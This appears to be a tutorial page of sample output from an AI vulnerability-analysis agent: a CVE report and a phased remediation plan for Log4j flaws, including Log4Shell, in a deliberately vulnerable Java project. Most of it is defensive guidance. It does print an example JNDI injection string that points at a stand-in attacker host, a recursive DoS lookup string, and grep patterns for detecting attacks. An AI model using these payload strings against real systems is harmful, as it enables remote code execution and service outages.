Vulnerability Output Best Practice
These are examples of the vulnerability analysis deliverables generated in the 05 Tools chapter.
They show actual output produced from the sample project (java-vulnerable, which includes Log4Shell CVE-2021-44228).
Vulnerability Analysis Report
info
Generating agent: 05-vulnerability-analyst | Save path: output/vulnerability/cve-report.md
Report type: Vulnerability Analysis Created: 2026-03-23 00:00 Target project: vulnerable-java-app 1.0.0 Tools used: OSV API (https://api.osv.dev), Syft 1.42.3
1. Summary
- Analyzed SBOM:
java-vulnerable.cdx.json(CycloneDX 1.6) - 5 vulnerabilities found in total — 2 Critical, 1 High, 2 Medium
- Critical vulnerabilities requiring immediate action (CVE-2021-44228, CVE-2021-45046) confirmed in
log4j-core 2.14.1 - CVE-2021-44228 (Log4Shell) has a CVSS of 10.0 and allows remote code execution (RCE) — the highest-risk vulnerability
- Recommended action: upgrade
log4j-coreandlog4j-apito 2.17.1 or later immediately
2. Vulnerability Details
| Component | Version | CVE | CVSS | Severity | Description | Fixed version |
|---|---|---|---|---|---|---|
| log4j-core | 2.14.1 | CVE-2021-44228 | 10.0 | 🔴 Critical | Log4Shell: remote code execution (RCE) via JNDI LDAP | 2.15.0+ |
| log4j-core | 2.14.1 | CVE-2021-45046 | 9.0 | 🔴 Critical | 2.15.0 patch incomplete — JNDI RCE bypass in non-default configs | 2.16.0+ |
| log4j-core | 2.14.1 | CVE-2021-45105 | 7.5 | 🟠 High | Infinite recursion (DoS) via Thread Context Map self-reference | 2.17.0+ |
| log4j-core | 2.14.1 | CVE-2021-44832 | 6.6 | 🟡 Medium | RCE possible with permission to modify the logging configuration | 2.17.1+ |
| log4j-core | 2.14.1 | CVE-2025-68161 | 5.4 | 🟡 Medium | Socket Appender does not perform TLS hostname verification | 2.25.3+ |
Note
log4j-api 2.14.1 has no direct vulnerability. Upgrading it together with log4j-core to keep versions aligned is recommended.
3. Detailed Vulnerability Descriptions
CVE-2021-44228 — Log4Shell (CVSS 10.0, Critical)
- Affects: log4j-core 2.0-beta9 through 2.14.1
- Attack vector: When an attacker injects a string of the form
${jndi:ldap://attacker.com/exploit}into a log, log4j automatically connects to the external LDAP server and loads and executes a malicious Java class - Real-world impact: Exploited at massive scale against millions of servers worldwide immediately after its discovery in December 2021
- Immediate mitigation: Remove the
JndiLookupclass from the classpathBashzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
CVE-2021-45046 — Log4Shell bypass (CVSS 9.0, Critical)
- Affects: log4j-core 2.0-beta9 through 2.15.0
- Attack vector: The CVE-2021-44228 patch in 2.15.0 can be bypassed with non-default Pattern Layout configurations. The JNDI attack can be reproduced when Thread Context Map patterns are used
- Action: Upgrade to 2.16.0 (removes message lookup patterns, disables JNDI by default)
CVE-2021-45105 — DoS vulnerability (CVSS 7.5, High)
- Affects: log4j-core 2.0-alpha1 through 2.16.0
- Attack vector: Injecting a self-referential lookup (
${${::-${::-$${::-j}}}}) into the Thread Context Map causes infinite recursion and brings down the process (DoS) - Action: Upgrade to 2.17.0
CVE-2021-44832 — Configuration file RCE (CVSS 6.6, Medium)
- Affects: log4j-core 2.0-beta7 through 2.17.0
- Attack vector: An attacker with permission to modify the logging configuration file can achieve RCE via the JDBC Appender
- Action: Upgrade to 2.17.1. Restrict access permissions to the logging configuration file
CVE-2025-68161 — Missing TLS hostname verification (CVSS 5.4, Medium)
- Affects: log4j-core 2.0-beta9 through 2.25.2
- Attack vector: When using the Socket Appender, the TLS certificate hostname of the remote server is not verified, allowing man-in-the-middle (MITM) attacks
- Action: Upgrade to 2.25.3; no impact if the Socket Appender is not used
4. Actions
Immediate action (Critical — within 24 hours)
-
Upgrade log4j-core to 2.17.1 or later — resolves all Critical/High vulnerabilities at once
XML<!-- pom.xml -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency> -
Immediate mitigation (before the upgrade): Remove the JndiLookup class
Bashzip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.classOr add a JVM option:
-Dlog4j2.formatMsgNoLookups=true
Short-term action (within 1 week)
- Rebuild and test the package: Run the full regression test suite after the upgrade
- Check deployment environments: Verify the log4j version and apply the patch on every server in operation
- Check for indicators of compromise (IoC): Search logs for the
${jndi:pattern to investigate any attack attempts
Medium-term action (within 1 month)
- Evaluate an upgrade to the latest version: Plan an upgrade to 2.25.3+ to resolve CVE-2025-68161
- Build an automated SBOM generation pipeline: Integrate Syft/Trivy into CI/CD for early vulnerability detection
5. References
| Resource | Link |
|---|---|
| Apache Log4j security advisory | https://logging.apache.org/log4j/2.x/security.html |
| CVE-2021-44228 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-44228 |
| CVE-2021-45046 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-45046 |
| CVE-2021-45105 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-45105 |
| CVE-2021-44832 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-44832 |
| OSV Database | https://osv.dev/list?q=log4j |
Conforms to ISO/IEC 18974 §4.3.2 — identifying known vulnerabilities, assessing CVE risk scores (CVSS), and tracking vulnerabilities and their status
Vulnerability Remediation Plan
info
Generating agent: 05-vulnerability-analyst | Save path: output/vulnerability/remediation-plan.md
Report type: Vulnerability Remediation Plan Created: 2026-03-23 00:00 Target project: vulnerable-java-app 1.0.0 Tools used: OSV API, Syft 1.42.3
Overview
| Item | Content |
|---|---|
| Response standard | ISO/IEC 18974 §4.3.2 |
| Total vulnerabilities | 5 (Critical 2, High 1, Medium 2) |
| Immediate action targets | CVE-2021-44228, CVE-2021-45046 |
| Target completion dates | Critical: immediately / High: 2026-03-30 / Medium: 2026-04-23 |
Phased Remediation Plan
Phase 1 — Immediate action (Critical, within 24 hours)
Goal: Eliminate the Log4Shell risk (CVE-2021-44228, CVE-2021-45046)
1-A. Immediate mitigation (emergency measure before the upgrade)
Bash
# Remove the JndiLookup class from the log4j-core jar
zip -q -d log4j-core-2.14.1.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
# Or add JVM startup options
# -Dlog4j2.formatMsgNoLookups=true
# -Dlog4j2.disableJndi=true
Caution
formatMsgNoLookups=true is not sufficient to fully block CVE-2021-45046. Removing JndiLookup is safer.
1-B. Dependency upgrade
Update pom.xml:
XML
<properties>
<!-- Minimum version that resolves all CVEs -->
<log4j.version>2.17.1</log4j.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j.version}</version>
</dependency>
</dependencies>
1-C. Build and verification
Bash
mvn clean package -DskipTests
# Confirm the upgraded version
mvn dependency:list | grep log4j
# Rescan for vulnerabilities
syft packages . -o cyclonedx-json > output/sbom/java-fixed.cdx.json
# Re-query the OSV API to confirm the vulnerabilities are resolved
1-D. Compromise investigation (Forensics)
Bash
# Search application logs for JNDI attack attempt patterns
grep -r '\${jndi:' /var/log/app/ 2>/dev/null
grep -r 'ldap://' /var/log/app/ 2>/dev/null
grep -r '${${' /var/log/app/ 2>/dev/null
Phase 2 — Short-term action (High, by 2026-03-30)
Goal: Complete the response to CVE-2021-45105 (DoS) and confirm patching across all production environments
| Task | Owner | Deadline |
|---|---|---|
| Full survey of log4j versions on production servers | Infrastructure manager | 2026-03-25 |
| Apply the 2.17.1 patch to all production environments | Infrastructure manager | 2026-03-27 |
| Run the full regression test suite | QA manager | 2026-03-29 |
| Write the patch completion report | Security manager | 2026-03-30 |
Phase 3 — Medium-term action (Medium, by 2026-04-23)
Goal: Resolve CVE-2021-44832 and CVE-2025-68161 and establish safeguards against recurrence
| Task | Details | Deadline |
|---|---|---|
| Evaluate an upgrade to 2.25.3+ | Check API compatibility, validate in the test environment | 2026-04-07 |
| Integrate CI/CD vulnerability scans | Add Trivy or OWASP Dependency-Check to the pipeline | 2026-04-14 |
| Wire up automated SBOM generation | Refresh the SBOM automatically at build time with vulnerability alerts | 2026-04-21 |
| Final completion report | Confirm all items are resolved and document the results | 2026-04-23 |
Vulnerability Status Tracking
| CVE | Severity | Current status | Target status | Owner | Deadline |
|---|---|---|---|---|---|
| CVE-2021-44228 | 🔴 Critical | Unaddressed | Resolved | Security manager | Immediately |
| CVE-2021-45046 | 🔴 Critical | Unaddressed | Resolved | Security manager | Immediately |
| CVE-2021-45105 | 🟠 High | Unaddressed | Resolved | Infrastructure manager | 2026-03-30 |
| CVE-2021-44832 | 🟡 Medium | Unaddressed | Resolved | Development manager | 2026-04-23 |
| CVE-2025-68161 | 🟡 Medium | Unaddressed | Resolved | Development manager | 2026-04-23 |
How to update the status: After applying the patch, update "Unaddressed" → "Resolved (YYYY-MM-DD)"
Recurrence Prevention Measures
1. Establish a dependency version policy
XML
<!-- pom.xml — enforce a version floor (Maven Enforcer Plugin) -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<configuration>
<rules>
<bannedDependencies>
<excludes>
<exclude>org.apache.logging.log4j:log4j-core:[,2.17.1)</exclude>
</excludes>
</bannedDependencies>
</rules>
</configuration>
</plugin>
2. Automated vulnerability scanning in CI/CD
YAML
# GitHub Actions example
- name: Generate SBOM
run: syft packages . -o cyclonedx-json > sbom.cdx.json
- name: Vulnerability scan
run: |
trivy sbom sbom.cdx.json --exit-code 1 --severity CRITICAL,HIGH
3. Regular review schedule
| Cycle | Task |
|---|---|
| Every build | Automated vulnerability scan in CI/CD |
| Monthly | Refresh the SBOM and check for new CVEs |
| Quarterly | Review a full dependency upgrade |
| Annually | Full review of the vulnerability management process |
Basis for ISO/IEC 18974 §4.3.2 Conformance
| Requirement | Implementation | Evidence deliverable |
|---|---|---|
| Identify known vulnerabilities | SBOM-based CVE scan via the OSV API | cve-report.md |
| Track vulnerabilities and their status | Operate the vulnerability status tracking table | This document, §Vulnerability Status Tracking |
| Assess CVE risk scores (CVSS) | Severity classification and prioritization by CVSS score | cve-report.md §2 |
| Vulnerability response and patching | Phased remediation plan with named owners and deadlines | This document, §Phased Remediation Plan |
This document is the official vulnerability remediation plan produced to fulfill the ISO/IEC 18974 §4.3.2 requirements.